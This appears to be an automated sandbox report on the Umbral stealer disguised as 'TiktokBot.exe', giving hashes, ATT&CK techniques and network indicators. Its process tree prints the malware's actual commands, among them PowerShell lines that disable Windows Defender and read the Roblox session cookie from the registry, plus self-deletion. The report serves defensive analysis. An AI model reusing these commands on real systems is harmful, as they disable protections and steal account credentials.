umbral | 195b749f6f3a16286bbe3670ba44433127072d3597a2bd213fc236b0cd04aa3c

Analysis

max time kernel
96s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 17:29

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General

Target

TiktokBot.exe
Size

359KB
MD5

8669778992324151f3e3f6f454a9b7a3
SHA1

676cfdaf3b5b5e58441a814cabfa8fac3630ef15
SHA256

fa6e05570392f0c4dfe34ce0469eead7621388809cda5dd5e576c1e1ea6d6339
SHA512

8d86798a61443a26d16cefbeb0b74beb6837bbfb999a36ece22664b6beae8c2404520b6b4047bbbf52c3b278a2e897836e3b6657c9f082c18ce63d97a4d2e510
SSDEEP

6144:JloZM+rIkd8g+EtXHkv/iD4I06la43TwjJc6rrSNeb8e1myUi/Uy7P9f6dGYZthv:7oZtL+EP8I06la43TwjJc6rrSoZdnPcC

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3680-1-0x0000025404D50000-0x0000025404DB0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
396	powershell.exe
3960	powershell.exe
1624	powershell.exe
3720	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	TiktokBot.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	discord.com
19	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
736	cmd.exe
3472	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1140	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3472	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3680	TiktokBot.exe
3720	powershell.exe
3720	powershell.exe
396	powershell.exe
396	powershell.exe
3960	powershell.exe
3960	powershell.exe
4676	powershell.exe
4676	powershell.exe
1624	powershell.exe
1624	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	TiktokBot.exe
Token: SeIncreaseQuotaPrivilege	1032	wmic.exe
Token: SeSecurityPrivilege	1032	wmic.exe
Token: SeTakeOwnershipPrivilege	1032	wmic.exe
Token: SeLoadDriverPrivilege	1032	wmic.exe
Token: SeSystemProfilePrivilege	1032	wmic.exe
Token: SeSystemtimePrivilege	1032	wmic.exe
Token: SeProfSingleProcessPrivilege	1032	wmic.exe
Token: SeIncBasePriorityPrivilege	1032	wmic.exe
Token: SeCreatePagefilePrivilege	1032	wmic.exe
Token: SeBackupPrivilege	1032	wmic.exe
Token: SeRestorePrivilege	1032	wmic.exe
Token: SeShutdownPrivilege	1032	wmic.exe
Token: SeDebugPrivilege	1032	wmic.exe
Token: SeSystemEnvironmentPrivilege	1032	wmic.exe
Token: SeRemoteShutdownPrivilege	1032	wmic.exe
Token: SeUndockPrivilege	1032	wmic.exe
Token: SeManageVolumePrivilege	1032	wmic.exe
Token: 33	1032	wmic.exe
Token: 34	1032	wmic.exe
Token: 35	1032	wmic.exe
Token: 36	1032	wmic.exe
Token: SeIncreaseQuotaPrivilege	1032	wmic.exe
Token: SeSecurityPrivilege	1032	wmic.exe
Token: SeTakeOwnershipPrivilege	1032	wmic.exe
Token: SeLoadDriverPrivilege	1032	wmic.exe
Token: SeSystemProfilePrivilege	1032	wmic.exe
Token: SeSystemtimePrivilege	1032	wmic.exe
Token: SeProfSingleProcessPrivilege	1032	wmic.exe
Token: SeIncBasePriorityPrivilege	1032	wmic.exe
Token: SeCreatePagefilePrivilege	1032	wmic.exe
Token: SeBackupPrivilege	1032	wmic.exe
Token: SeRestorePrivilege	1032	wmic.exe
Token: SeShutdownPrivilege	1032	wmic.exe
Token: SeDebugPrivilege	1032	wmic.exe
Token: SeSystemEnvironmentPrivilege	1032	wmic.exe
Token: SeRemoteShutdownPrivilege	1032	wmic.exe
Token: SeUndockPrivilege	1032	wmic.exe
Token: SeManageVolumePrivilege	1032	wmic.exe
Token: 33	1032	wmic.exe
Token: 34	1032	wmic.exe
Token: 35	1032	wmic.exe
Token: 36	1032	wmic.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4688	wmic.exe
Token: SeSecurityPrivilege	4688	wmic.exe
Token: SeTakeOwnershipPrivilege	4688	wmic.exe
Token: SeLoadDriverPrivilege	4688	wmic.exe
Token: SeSystemProfilePrivilege	4688	wmic.exe
Token: SeSystemtimePrivilege	4688	wmic.exe
Token: SeProfSingleProcessPrivilege	4688	wmic.exe
Token: SeIncBasePriorityPrivilege	4688	wmic.exe
Token: SeCreatePagefilePrivilege	4688	wmic.exe
Token: SeBackupPrivilege	4688	wmic.exe
Token: SeRestorePrivilege	4688	wmic.exe
Token: SeShutdownPrivilege	4688	wmic.exe
Token: SeDebugPrivilege	4688	wmic.exe
Token: SeSystemEnvironmentPrivilege	4688	wmic.exe
Token: SeRemoteShutdownPrivilege	4688	wmic.exe
Token: SeUndockPrivilege	4688	wmic.exe
Token: SeManageVolumePrivilege	4688	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 1032	3680	TiktokBot.exe	83
PID 3680 wrote to memory of 1032	3680	TiktokBot.exe	83
PID 3680 wrote to memory of 1156	3680	TiktokBot.exe	86
PID 3680 wrote to memory of 1156	3680	TiktokBot.exe	86
PID 3680 wrote to memory of 3720	3680	TiktokBot.exe	88
PID 3680 wrote to memory of 3720	3680	TiktokBot.exe	88
PID 3680 wrote to memory of 396	3680	TiktokBot.exe	90
PID 3680 wrote to memory of 396	3680	TiktokBot.exe	90
PID 3680 wrote to memory of 3960	3680	TiktokBot.exe	92
PID 3680 wrote to memory of 3960	3680	TiktokBot.exe	92
PID 3680 wrote to memory of 4676	3680	TiktokBot.exe	94
PID 3680 wrote to memory of 4676	3680	TiktokBot.exe	94
PID 3680 wrote to memory of 4688	3680	TiktokBot.exe	96
PID 3680 wrote to memory of 4688	3680	TiktokBot.exe	96
PID 3680 wrote to memory of 2256	3680	TiktokBot.exe	98
PID 3680 wrote to memory of 2256	3680	TiktokBot.exe	98
PID 3680 wrote to memory of 776	3680	TiktokBot.exe	100
PID 3680 wrote to memory of 776	3680	TiktokBot.exe	100
PID 3680 wrote to memory of 1624	3680	TiktokBot.exe	102
PID 3680 wrote to memory of 1624	3680	TiktokBot.exe	102
PID 3680 wrote to memory of 1140	3680	TiktokBot.exe	104
PID 3680 wrote to memory of 1140	3680	TiktokBot.exe	104
PID 3680 wrote to memory of 736	3680	TiktokBot.exe	106
PID 3680 wrote to memory of 736	3680	TiktokBot.exe	106
PID 736 wrote to memory of 3472	736	cmd.exe	108
PID 736 wrote to memory of 3472	736	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1156	attrib.exe

C:\Users\Admin\AppData\Local\Temp\TiktokBot.exe
"C:\Users\Admin\AppData\Local\Temp\TiktokBot.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1032
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\TiktokBot.exe"
  2⤵
  - Views/modifies file attributes
  PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\TiktokBot.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4676
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2256
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\TiktokBot.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ca58d1913d3261f116a299095e04f734

SHA1
941d13d0c8c65adb6513f23991acfa0d62facdea

SHA256
755daf72f2f5e983abb009c3b1eef4c7c660999f5ff581545bbcae7088c17c69

SHA512
87b0d8c9a5348235e9ad6416e09665764db1af408bf763857dc40e39411fa0cf405e3e8b9f0b8540c72aa874059d1dee865aa0cff8dba0fde5779ec9480b5e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2qfjhxce.rqb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3680-72-0x0000025406A30000-0x0000025406A3A000-memory.dmp

Filesize
40KB

Download
memory/3680-35-0x0000025406A00000-0x0000025406A1E000-memory.dmp

Filesize
120KB

Download
memory/3680-93-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

Filesize
10.8MB

Download
memory/3680-73-0x0000025406BD0000-0x0000025406BE2000-memory.dmp

Filesize
72KB

Download
memory/3680-2-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

Filesize
10.8MB

Download
memory/3680-33-0x000002541F580000-0x000002541F5F6000-memory.dmp

Filesize
472KB

Download
memory/3680-34-0x0000025406B60000-0x0000025406BB0000-memory.dmp

Filesize
320KB

Download
memory/3680-0-0x00007FFAC20B3000-0x00007FFAC20B5000-memory.dmp

Filesize
8KB

Download
memory/3680-1-0x0000025404D50000-0x0000025404DB0000-memory.dmp

Filesize
384KB

Download
memory/3720-14-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

Filesize
10.8MB

Download
memory/3720-15-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

Filesize
10.8MB

Download
memory/3720-8-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

Filesize
10.8MB

Download
memory/3720-13-0x0000019057510000-0x0000019057532000-memory.dmp

Filesize
136KB

Download
memory/3720-18-0x00007FFAC20B0000-0x00007FFAC2B71000-memory.dmp

Filesize
10.8MB

Download